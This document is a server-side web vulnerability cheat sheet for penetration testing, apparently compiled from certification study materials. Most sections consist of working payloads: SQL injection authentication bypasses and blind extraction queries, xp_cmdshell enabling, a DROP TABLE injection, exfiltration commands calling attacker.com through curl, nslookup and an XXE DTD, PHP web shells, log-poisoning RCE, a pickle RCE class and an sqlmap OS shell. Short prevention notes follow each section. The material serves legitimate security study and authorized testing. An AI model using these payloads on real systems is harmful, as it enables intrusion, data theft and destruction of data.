This guide consolidates server-side vulnerability research from multiple sources, providing a complete reference for penetration testing and security assessments.


  1. SQL Injection
  2. Command Injection
  3. Server-Side Template Injection (SSTI)
  4. XML External Entity (XXE)
  5. Server-Side Request Forgery (SSRF)
  6. File Upload Vulnerabilities
  7. Path/Directory Traversal
  8. Deserialization Vulnerabilities
  9. NoSQL Injection
  10. LDAP Injection
  11. HTTP Request Smuggling
  12. Race Conditions
  13. Cache Poisoning

SQL Injection

SQL Injection (SQLi) is a code injection technique that exploits security vulnerabilities in database-driven applications. It occurs when user input is inserted into SQL queries without proper validation or sanitization.

Types of SQL Injection

1. In-Band SQLi

Direct results visible in application response.

Error-Based SQLi

  • Database errors displayed in browser
  • Easiest to exploit
  • Provides direct feedback

Example:

' OR 1=1--
' UNION SELECT NULL--

Union-Based SQLi

  • Uses UNION SELECT to combine results
  • Most common for data extraction
  • Requires knowledge of column count and types

Union Attack Requirements:

  1. Same number of columns in each SELECT
  2. Compatible data types between columns

Column Enumeration:

-- Method 1: ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
 
-- Method 2: UNION NULL
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

2. Blind SQLi

Authentication Bypass

-- Always true condition
' OR 1=1;--
 
-- In login forms
admin'OR 1=1 -- -
' OR '1'='1

Boolean-Based

Uses TRUE/FALSE responses to extract data:

-- Test existence
admin123' AND '1'='1  -- Returns TRUE
admin123' AND '1'='2  -- Returns FALSE
 
-- Extract data character by character
admin123' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Time-Based

Uses delays to confirm query execution:

PostgreSQL:

-- Discovery
TrackingId=x'||pg_sleep(10)
 
-- Data extraction
TrackingId=x'|| (SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END)--
TrackingId=x'|| (SELECT CASE WHEN LENGTH(password)>20 THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users WHERE username='administrator')--

Microsoft SQL:

-- Discovery
'; IF (1=1) WAITFOR DELAY '0:0:10'--
 
-- Data extraction
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:10'--

MySQL:

-- Time delay
' AND SLEEP(5)--
' UNION SELECT IF(SUBSTRING(password,1,1)='a',SLEEP(5),0) FROM users--

3. Second-Order SQLi

  • Payload stored in database
  • Executed when data is used in another query
  • Harder to detect and exploit

4. Out-of-Band SQLi

  • Uses external network connections
  • Requires specific database features
  • Data exfiltration via DNS/HTTP requests

Advanced Exploitation

Database Enumeration

-- Get database name
SELECT database()
 
-- Get table names
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'database_name'
 
-- Get column names
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = 'table_name'
 
-- Extract data
SELECT group_concat(username,':',password SEPARATOR '<br>') FROM users

MSSQL Server Exploitation

System Information

-- MSSQL Server 2000
SELECT name, password FROM master..syslogins
 
-- MSSQL Server >= 2005
SELECT name, password_hash FROM master.sys.sql_logins

Command Execution (Privileged)

-- Execute commands
EXEC master..xp_cmdshell 'whoami'
 
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

MySQL Exploitation

File Operations

-- Read files
SELECT LOAD_FILE('/etc/passwd');
 
-- Read binary files
SELECT HEX(LOAD_FILE('/bin/ls'));
 
-- Write files
SELECT 'shell code' INTO DUMPFILE '/var/www/shell.php';

PostgreSQL Specific

-- Stacked queries
'; DROP TABLE users--
 
-- Command execution via COPY
COPY (SELECT '') TO PROGRAM 'id';

SQLMap Automation

 
# GET parameters
sqlmap -u "http://victim.site/view.php?id=1" -p id --technique=U
 
 
# POST data
sqlmap -u "http://victim.site/login.php" --data="username=admin&password=pass" -p username
 
 
# Cookie injection
sqlmap -u "http://victim.site/" --cookie="id=1" --level=2
 
 
# Dump tables
sqlmap -u "http://victim.site/view.php?id=1" --tables
 
 
# Dump specific database
sqlmap -u "http://victim.site/view.php?id=1" -D database_name --dump
 
 
# OS shell
sqlmap -u "http://victim.site/view.php?id=1" --os-shell

Prevention

1. Prepared Statements

// Secure approach
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

2. Input Validation

// Allow only specific characters
if (!preg_match('/^[a-z\s]+$/i', $name)) {
    die('Please enter a valid name');
}

3. Type Casting

$user_id = (int) $user_id;

Command Injection

Command injection vulnerabilities allow attackers to execute arbitrary system commands on the server.

Common Injection Points

Command Separators

 
# Windows & Unix
&
&&
|
||
 
 
# Unix only
;
Newline (0x0a or \n)
`command`
$(command)
${IFS} # Replace spaces

Exploitation Techniques

Basic Command Injection

 
# URL encoded
%26 whoami %26
 
 
# Within email parameter
`%26ping+-c+10+127.0.0.1%26`user@email.com

Blind Command Injection

Time-Based Detection

 
# Ping delay
& ping -c 10 127.0.0.1 &
 
 
# Sleep
& sleep 10 &

Output Redirection

 
# Redirect to web root
& whoami > /var/www/static/whoami.txt &

Out-of-Band

 
# DNS exfiltration
& nslookup `whoami`.attacker.com &
 
 
# HTTP exfiltration
& curl http://attacker.com/$(whoami) &

Common Commands for Testing

PurposeLinuxWindows
Current userwhoamiwhoami
Operating systemuname -aver
Network configifconfigipconfig /all
Network connectionsnetstat -annetstat -an
Running processesps -eftasklist

Prevention

  • Input validation and sanitization
  • Use safe APIs that don’t invoke shell
  • Principle of least privilege
  • Whitelist allowed commands/parameters

Server-Side Template Injection (SSTI)

SSTI occurs when user input is embedded into templates unsafely, allowing code execution.

Detection

Initial Testing

${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>

Template Engine Identification

{{7*7}} = 49          → Twig
{{7*'7'}} = 7777777   → Jinja2
${7*7} = 49          → FreeMarker/Velocity
<%= 7*7 %> = 49      → ERB

Exploitation by Template Engine

Python - Jinja2

 
# Basic test
{{7*7}}
 
 
# Command execution
{{config.items()}}
{{''.__class__.__mro__[2].__subclasses__()}}

Python - Django

{% debug %}
{{settings.SECRET_KEY}}

Ruby - ERB

 
# Test
<%= 7*7 %>
 
 
# Command execution
<%= system("rm /home/carlos/morale.txt") %>

Java - FreeMarker

 
# Test
${7*7}
 
 
# Command execution
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }

NodeJS - Handlebars

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Prevention

  • Never pass user input directly to template engines
  • Use sandboxed template environments
  • Implement strict input validation
  • Use static templates when possible

XML External Entity (XXE)

XXE attacks exploit XML parsers that process external entity references.

Basic XXE Payloads

Read Files

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<stockCheck><productId>&example;</productId><storeId>1</storeId></stockCheck>

SSRF via XXE

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server/"> ]>

XInclude Attacks

When you can’t modify the DOCTYPE:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

Blind XXE

Basic Detection

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>

Data Exfiltration (Out-of-Band)

  1. Host malicious DTD:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
  1. Inject payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>

Error-Based Exfiltration

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

XXE via File Upload

SVG Files

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Office Documents

  • DOCX, XLSX, and other Office formats are ZIP archives containing XML
  • Can be exploited by modifying internal XML files

Prevention

  • Disable external entity processing
  • Use less complex data formats (JSON)
  • Patch and update XML processors
  • Implement proper input validation

Server-Side Request Forgery (SSRF)

SSRF allows attackers to make requests from the vulnerable server to internal or external resources.

Common SSRF Targets

Internal Resources

http://127.0.0.1/admin
http://localhost/admin
http://192.168.1.1/
http://169.254.169.254/ (AWS metadata)

Bypass Techniques

 
# Alternative localhost representations
http://127.1/
http://2130706433/
http://017700000001/
http://127.0.0.1.nip.io/
 
 
# URL encoding
http://127.1/%2561dmin
 
 
# DNS rebinding
spoofed.burpcollaborator.net

SSRF Exploitation Patterns

Type 1: Full URL Control

url=http://internal-server/admin

Type 2: Path Control

url=/../../../admin

Type 3: Subdomain Control

server=evil.com&x=.legitimate.com/api

Blind SSRF

  • No response visible
  • Use out-of-band techniques
  • Monitor DNS/HTTP logs
  • Time-based detection

SSRF via Open Redirect

 
# Chain with open redirect
/redirect?url=http://internal/admin
 
 
# SSRF payload
stockApi=/redirect?url=http://192.168.0.12:8080/admin

Prevention

  • Whitelist allowed destinations
  • Disable unnecessary protocols
  • Implement network segmentation
  • Use allowlists instead of denylists

File Upload Vulnerabilities

File upload vulnerabilities can lead to code execution, XSS, or denial of service.

Exploitation Techniques

Basic Web Shells

<?php echo system($_GET['c']); ?>
<?php echo file_get_contents('/path/to/target/file'); ?>

Bypass Techniques

Extension Bypasses

shell.php.jpg
shell.php.
shell.php%00.jpg
shell.pHp
shell.php5
shell.phtml
shell.phar

MIME Type Manipulation

Content-Type: image/jpeg

Magic Number Spoofing

 
# Add GIF header to PHP file
GIF89a<?php system($_GET['c']); ?>

Advanced Techniques

.htaccess Upload

AddType application/x-httpd-php .jpg

Race Conditions

  • Upload file
  • Access before deletion
  • Use larger files to extend window

Polyglot Files

  • Valid image with embedded PHP
  • PDF with JavaScript
  • SVG with XXE

Client-Side Bypasses

  • Disable JavaScript
  • Use proxy to modify requests
  • Direct API calls

Prevention

  • Whitelist allowed extensions
  • Check file content, not just headers
  • Store files outside webroot
  • Generate new random filenames
  • Implement file size limits
  • Scan with antivirus
  • Disable execution in upload directories

Path/Directory Traversal

Path traversal allows reading files outside the intended directory.

Basic Exploitation

Unix/Linux

../../../../etc/passwd
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd

Windows

..\..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini

Bypass Techniques

Filter Bypasses

 
# Double encoding
%252e%252e%252f
 
 
# Unicode/UTF-8
..%c0%af
%c0%ae%c0%ae/
 
 
# Absolute path
/var/www/images/../../../etc/passwd
 
 
# Null byte
../../../etc/passwd%00.png

Common Targets

Linux

/etc/passwd
/etc/shadow
/proc/self/environ
/var/log/apache2/access.log
~/.ssh/id_rsa
/etc/nginx/nginx.conf

Windows

C:\Windows\win.ini
C:\boot.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config

Local File Inclusion (LFI)

PHP Functions Vulnerable to LFI

  • include()
  • require()
  • include_once()
  • require_once()

LFI to RCE

Via Log Poisoning

 
# Poison log file
curl "http://target.com" -A "<?php system($_GET['c']); ?>"
 
# Include log
?page=../../../var/log/apache2/access.log&c=whoami

Via PHP Filters

?page=php://filter/convert.base64-encode/resource=index.php
?page=php://input (POST: <?php system('id'); ?>)

Remote File Inclusion (RFI)

Requirements:

  • allow_url_fopen = On
  • allow_url_include = On
?file=http://attacker.com/shell.txt

Prevention

  • Input validation
  • Use whitelists for file access
  • Disable dangerous PHP settings
  • Implement proper access controls

Deserialization Vulnerabilities

Insecure deserialization can lead to remote code execution when untrusted data is deserialized.

Language-Specific Exploits

PHP

 
# Serialized object
O:8:"Example":1:{s:4:"file";s:11:"/etc/passwd";}

Java

  • Look for:
    • ObjectInputStream.readObject()
    • XMLDecoder.readObject()
    • Serializable classes

Python

 
# Pickle exploitation
import pickle
import os
 
class RCE:
    def __reduce__(self):
        return os.system, ('whoami',)
 
print(pickle.dumps(RCE()))

.NET

  • BinaryFormatter
  • DataContractSerializer
  • XmlSerializer vulnerabilities

Detection

  • Look for base64 encoded data
  • Magic bytes (Java: AC ED 00 05)
  • Error messages mentioning serialization

Prevention

  • Never deserialize untrusted data
  • Use data-only formats (JSON)
  • Implement integrity checks
  • Restrict deserialization classes

NoSQL Injection

NoSQL databases can be vulnerable to injection attacks similar to SQL injection.

MongoDB Injection

Authentication Bypass

// Vulnerable query
db.users.find({username: req.body.username, password: req.body.password})
 
// Attack payload
{"username": {"$ne": null}, "password": {"$ne": null}}

Operators

$ne  - not equal
$gt  - greater than
$lt  - less than
$gte - greater than or equal
$lte - less than or equal
$regex - regular expression

JavaScript Injection

// Vulnerable $where clause
db.users.find({$where: "this.username == '" + username + "'"})
 
// Payload
'; return true; //

Other NoSQL Databases

CouchDB

?startkey="admin"&endkey="admin\ufff0"

Redis

EVAL "return redis.call('get', 'password')" 0

Prevention

  • Input validation
  • Use parameterized queries
  • Disable JavaScript execution
  • Principle of least privilege

LDAP Injection

LDAP injection exploits applications that construct LDAP queries from user input.

Basic Payloads

*
*)(&
*)(|(password=*

Authentication Bypass

 
# Original query
(&(username=user)(password=pass))
 
 
# Injection
username: admin)(&)
password: anything

Data Extraction

(&(username=*)(password=*))
(&(username=a*)(password=*))

HTTP Request Smuggling

Request smuggling exploits discrepancies in how front-end and back-end servers parse HTTP requests.

Types

CL.TE (Content-Length / Transfer-Encoding)

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
 
0
 
SMUGGLED

TE.CL (Transfer-Encoding / Content-Length)

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
 
5c
GPOST /admin HTTP/1.1
Content-Length: 15
 
x=1
0

Detection

  • Time delays
  • Differential responses
  • Out-of-band interactions

Exploitation

  • Bypass security controls
  • Poison caches
  • Steal credentials
  • Deliver XSS

Prevention

  • Use HTTP/2
  • Normalize requests
  • Reject ambiguous requests
  • Configure consistent parsing

Race Conditions

Race conditions occur when multiple processes access shared resources without proper synchronization.

File Upload Race Conditions

 
# Vulnerable pattern
1. Upload file
2. Validate file
3. If invalid, delete file
 
# Window of opportunity between 1 and 3

Exploitation Techniques

Turbo Intruder Scripts

  • Send parallel requests
  • Exploit TOCTOU vulnerabilities
  • Bypass rate limiting

Common Targets

  • Coupon/voucher systems
  • Account balance operations
  • File operations
  • Authentication mechanisms

Prevention

  • Use atomic operations
  • Implement proper locking
  • Avoid TOCTOU patterns
  • Use database transactions

Cache Poisoning

Web cache poisoning manipulates cached responses to serve malicious content to other users.

Techniques

Unkeyed Headers

X-Forwarded-Host: evil.com
X-Original-URL: /admin

Cache Key Manipulation

  • Fragment poisoning (#)
  • Parameter pollution
  • Method override headers

HTTP Request Smuggling

  • Poison cache via smuggled requests
  • Persistent poisoning

Detection

  • Cache buster parameters
  • Vary header analysis
  • Cache behavior testing

Prevention

  • Include all inputs in cache key
  • Validate headers
  • Disable unnecessary features
  • Regular cache purging

Security Tools and Resources

Automated Tools

  • SQLMap - SQL injection
  • Commix - Command injection
  • SSRFmap - SSRF exploitation
  • XXEinjector - XXE automation
  • NoSQLMap - NoSQL injection
  • Tplmap - SSTI detection

Manual Testing Tools

  • Burp Suite - Web proxy
  • OWASP ZAP - Security scanner
  • ffuf/gobuster - Directory fuzzing
  • nuclei - Vulnerability scanner

References

  • OWASP Top 10
  • PortSwigger Web Security Academy
  • PayloadsAllTheThings
  • HackTricks
  • Security headers checklist

Remediation Priority Matrix

VulnerabilityImpactExploitabilityPriority
SQL InjectionCriticalHighCritical
Command InjectionCriticalMediumCritical
XXEHighMediumHigh
SSTICriticalLowHigh
SSRFHighHighHigh
File UploadCriticalMediumCritical
Path TraversalHighHighHigh
DeserializationCriticalLowMedium
NoSQL InjectionHighMediumHigh
Request SmugglingHighLowMedium

Last Updated: 2024-01-07 Compiled from: OSCP, BSCP, eWPT certification materials and security research